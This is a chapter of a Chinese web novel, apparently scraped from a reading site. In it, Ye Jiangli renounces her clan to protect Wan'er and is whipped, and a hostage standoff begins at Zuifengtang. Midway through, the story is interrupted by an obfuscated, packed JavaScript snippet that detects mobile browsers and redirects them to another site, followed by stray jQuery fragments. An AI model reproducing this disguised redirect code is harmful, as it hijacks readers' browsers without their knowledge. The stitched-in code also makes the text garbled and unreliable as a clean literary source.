113.自请出族

作品:《前夫哥变成落魄小伴读

    饭桌上,萧父一个劲儿地给萧念夹菜,萧焕回来晚了,拿着热腾腾的糕点赔罪,萧母则和她说着这几日发生的事。


    “证据还是叶家找着的,是有人集了你的字,拓印伪造的书信,原先一封两封的还不好查,后来却越发放肆,几十张几百张的往外送,几乎是人手一份,这才顺藤摸瓜,找到了地方。”


    萧焕道:“我在京都府抓住了想要谋杀钱夫郎的贼人,想来是灭口不成,才出此下策,结果弄巧成拙。”


    萧父点头,“也多亏了阿砚这孩子脑子灵光,想出这个反将一军的法子来,我们多方防范,才没让那背后之人得逞。”


    说起江砚澄,萧母眼中闪过一丝异样,却没表示,萧焕面露认可,“确实多亏了他。”


    萧念挺意外,同时惊喜中带着一股隐隐的骄傲,“毕竟是我看上的人。”


    萧母沉沉地看了她一眼,转而道:“温静雅还被关着,但她不是幕后主使,背后之人……”


    “是李相。”萧念直言。


    萧母凝眉,“你如何得知?”


    萧念把这几日在牢房里的事尽数交代了,转头问萧焕:“谋害钱夫郎的那人,审问过了吗?”


    “这就不知了,她被关在京都府了,不过……”萧焕想起另一事,神色凝重起来,“玉林跑了。”


    玉林对温轩仪太过忠心,留着也没太大的作用,只是她不好拿捏,跑了不知道会弄出什么幺蛾子。


    “罢了……”萧念直接说重点:“晚点去一趟京都府,看看审问的结果如何。”


    “好。”


    日头渐移,叶家宅邸爆发出一声怒吼:“你们要干什么!放开晚儿!”


    叶江离箭步冲上前推开拽着晚儿的人,晚儿眼神涣散,面色惊恐,听见叶江离的声音后,连忙紧抓着她的衣袖不放。


    两个时辰前,叶家的人去了城外庄园,说是请他来府里坐坐,晚儿不好推拒。只好跟着来了,但是没想到,一进来就不让走了,几番推脱下竟拉扯起来。


    叶江离把晚儿揽进怀里,指着一群奴仆大骂:“谁给你们的胆子敢动我的人!”


    “放肆!”叶宁从远处走来,身后还跟着叶父,他拉着叶宁的袖子,“你非要这么做吗?”


    叶宁不予理会,目光犀利,扫了眼晚儿,指着叶江离骂:“你个不孝女,科举考不上,平日寻花问柳我也睁只眼闭只眼,可你竟然敢留他?你知不知道你在做什么!”


    “我当然知道!”叶江离把晚儿挡在身后,“晚儿是我此生认定之人……”


    “住口!”叶宁气得脸上升起红温,“他什么身份,你什么身份?什么此生认定?怎么就认定了?你现在赶紧的,把他给我送走,越远越好。”


    叶江离冷嗤:“你不过就是觉得晚儿身份卑微,瞧不上罢了,我不管你们说什么,反正我是绝对不会送走他的。”


    叶宁胸口剧烈起伏,指尖发颤,“他是醉风堂的人,醉风堂背后之人你知道是谁吗?这里面千丝万缕的关系你弄得明白吗?你是想要叶家也被卷入是非之中吗?”


    叶父帮她顺着气,“好了,你少说两句吧,他现在已经不是醉风堂的了,江离喜欢留着又怎样?”


    “你……”叶宁甩开他的手,“都是你惯的,好好的一个孩子,被你惯成了现在这个模样,不成器!和她两个姐姐差多了!”


    叶宁看向叶江离的眼神,永远都带着一股嫌弃,叶江离也不指望她能高看自己一眼,冷声道:“既然母亲这么看不上我,又怕我带着晚儿连累了家里,那今日,我就自请出族,离开叶家,往后是死是活都与叶家无关!”


    此话一出,在场的所有人皆是一愣,脸上不约而同地出现错愕。


    “什么?你说什么?”叶宁简直不敢相信自己听到的话,叶父亦是震惊得不能言语。晚儿扯了扯叶江离的袖子,神色担忧,轻声劝道:“江离,别乱来。”


    出族不是小事,可这是叶江离想了多日的决定,晚儿的仇恨她放不下,每日看着那双失明的眼睛,心里都像是在凌迟。可她更悔恨的是过去那个犹豫不决、懦弱无能的自己。


    仇,她一定要报,结果是什么难以预料,她身为叶家女,所做的一切都会牵连到叶家,思来想去,唯有脱离家族才是对家人和晚儿最好的保护。


    她双膝跪地,对着双亲磕了三个响头,“恕孩儿不能为二位尽孝了。”


    叶宁眨了眨眼,怒气充斥着头脑,踉跄了几步,“你!你当真是不孝!从小到大,我可曾亏待过你什么?锦衣玉食……哪样不如你的意!如今你竟要为了一个外人,抛弃双亲,抛弃姐妹兄弟吗?”


    叶江离撑在地上的手缓缓蜷起,哑声道:“对不起……孩儿不孝……”


    再抬头时,目光却十分坚定,“可我意已决,母亲、父亲,不用再劝了……”


    叶父捂着嘴哭泣,不让自己失了体面,可哭声还是从指头缝里溢了出来。叶江离心有不忍,想说什么,却被叶宁打断了,“家族规矩,自请出族,要受鞭刑,你可认?”


    她眼睛死死盯着叶江离,说话时嘴唇都在发颤,叶江离迎上她的视线,“我认。”


    叶宁闭了闭眼,狠心道:“那就去衣,上家法!”


    下人恭敬递上了鞭子,叶江离脱去外衣,腰背挺得笔直,扭头看向晚儿,柔声道:“晚儿,你退远点,别吓着你。小风,你带他走。”


    她知道晚儿看不见,可怕血溅到他身上。


    晚儿摇头,眼中泪水不断,“扑通”一声跪了下来,求饶道:“是我的错,一切都是我的错,是我勾引了小姐,别罚她……”


    “晚儿!”叶江离高声制止他,“别跪着,也别求饶,这是我自己选的!”


    三年前,她没护住晚儿;三年后,她说什么也要撑起这一切。“来!”


    叶宁看着地上跪着的人,头一次觉得,这个女儿很陌生,她好像第一次认识叶江离,这股倔强不服输的劲儿从原先那个只知贪图享乐、天真无邪的骨血里长了出来,长成参天大树,自己撑起了一片天。


    她缓缓转过身,沉声下令,“打!”


    凌厉的鞭声划破空气,一声声地落在叶江离的背上,而她,没吭一声。


    雪白的里衣逐渐模糊,红色侵占了视线。晚儿看不清,只能在仅有的光线中捕捉到那滩刺目的红,空气被血腥味浸染,强势地钻入所有人的鼻腔。


    叶父哭求道:“够了,够了……快别打了,再打下去要出人命了!”


    叶宁闭着眼,自始至终都没有出声。足足二十一鞭打完,叶江离嘴唇泛白,视线模糊,撑不住倒了下去。


    “江离!”晚儿摸爬着过来扶她。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295523|191062||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叶父喊人请郎中,叶宁却怒道:“请什么郎中?叶府没道理要为一个外人请郎中,走!”


    她在赶叶江离走,同时也把叶父拉了过来。一直候在一旁的小风上前和晚儿一起扶起叶江离,“小姐,我们带你走。”


    几人磕磕绊绊地走出了叶府,在上马车前,叶江离撑着最后的意志,回头看了眼身后紧闭的大门,声音轻得像风,“走吧……”


    灼红霞光覆盖了半边天,衬得叶府的砖瓦格外的冷硬,泛着深沉的青灰色。


    萧念从京都府出来的时候,便听说了这件事,二话不说赶去了医馆。一进门就闻到浓重的药味,里间的床铺上趴着一个人,正无力地安慰身旁的人,“别哭了,我没事……一会儿就好了,真的。”


    “江离!”萧念走近,看见她背后触目惊心的伤口,忍不住皱眉。


    “你来了。”叶江离扯出一抹笑,晚儿闻声擦了擦泪,起身让开位置,退到一旁安静坐着。


    萧念凝眉坐下,叹息道:“怎么闹成这样了?”


    叶江离一副无所谓的轻松姿态,“早晚的事儿。别说我了,情况你都知道了吧?”


    “嗯。”萧念点头,“这几日辛苦你了,多谢。”


    “谢我做什么?若真论起来,没有我,你也不会卷入这些是非中。”


    萧念不这么认为,只要在这个世界生活,就算不得罪温家,也会有王家、李家。江砚澄说得对,离开才是最好的。


    “我方才去了一趟京都府,何思微、张菁、钱夫郎她们都招了,只是那个想要杀害钱夫郎的人却一口咬定是温静雅。”


    叶江离不解:“这有什么不对吗?不就是温静雅。”


    萧念摇头,“若是温静雅派的,为何三两句审问就供出了温静雅?”


    “那也未必,人心难测。”叶江离不以为然。


    萧念不敢妄下定论,只道:“反正口供一出,温静雅是跑不掉了,京都府的人已经去醉风堂,里面的人也算得救了。”


    叶江离笑道:“如此,晚儿也不用再躲躲藏藏了。”话落,她看了一眼晚儿,后者对她温婉一笑。


    街道上,京都府的衙役围了醉风堂,可却没一人敢靠近,为首的衙役对着里头喊道:“有话好好说,莫要弄出人命!”


    二楼窗户被打开,风墨言被按到窗沿,半个身子探出,脖子上的软剑紧紧贴着,划出一道红痕,他的双手被绑住,身后之人冷声逼问:“说,醉风堂背后之人是谁?”


    “我不知道!”风墨言努力挣扎却无济于事。


    玉林抬眼睨了下面的人一眼,眼底蓦地燃起怒火,手上的力道加重一分,“是你!是你通风报信、内外勾结!二小姐为醉风堂做了这么多,你就这样背叛她!”


    “我听不懂你在说什么,放开我!”


    楼下的衙役见状,想要冲进去救人,玉林警告道:“胆敢有一人进来,他、和这楼里的所有人都别想活着出去!”


    为首的衙役闻言,抬手示意其他人退开,扬声道:“你想要如何?且说来听听。”


    玉林没理会,而是把风墨言拽回来,抬脚踢掉叉竿,木窗砰的一声合上,隔绝了外头的呼喊。


    衙役们一时手足无措。


    萧焕听到消息后,急匆匆进来,喊道:“阿念,醉风堂出事了。”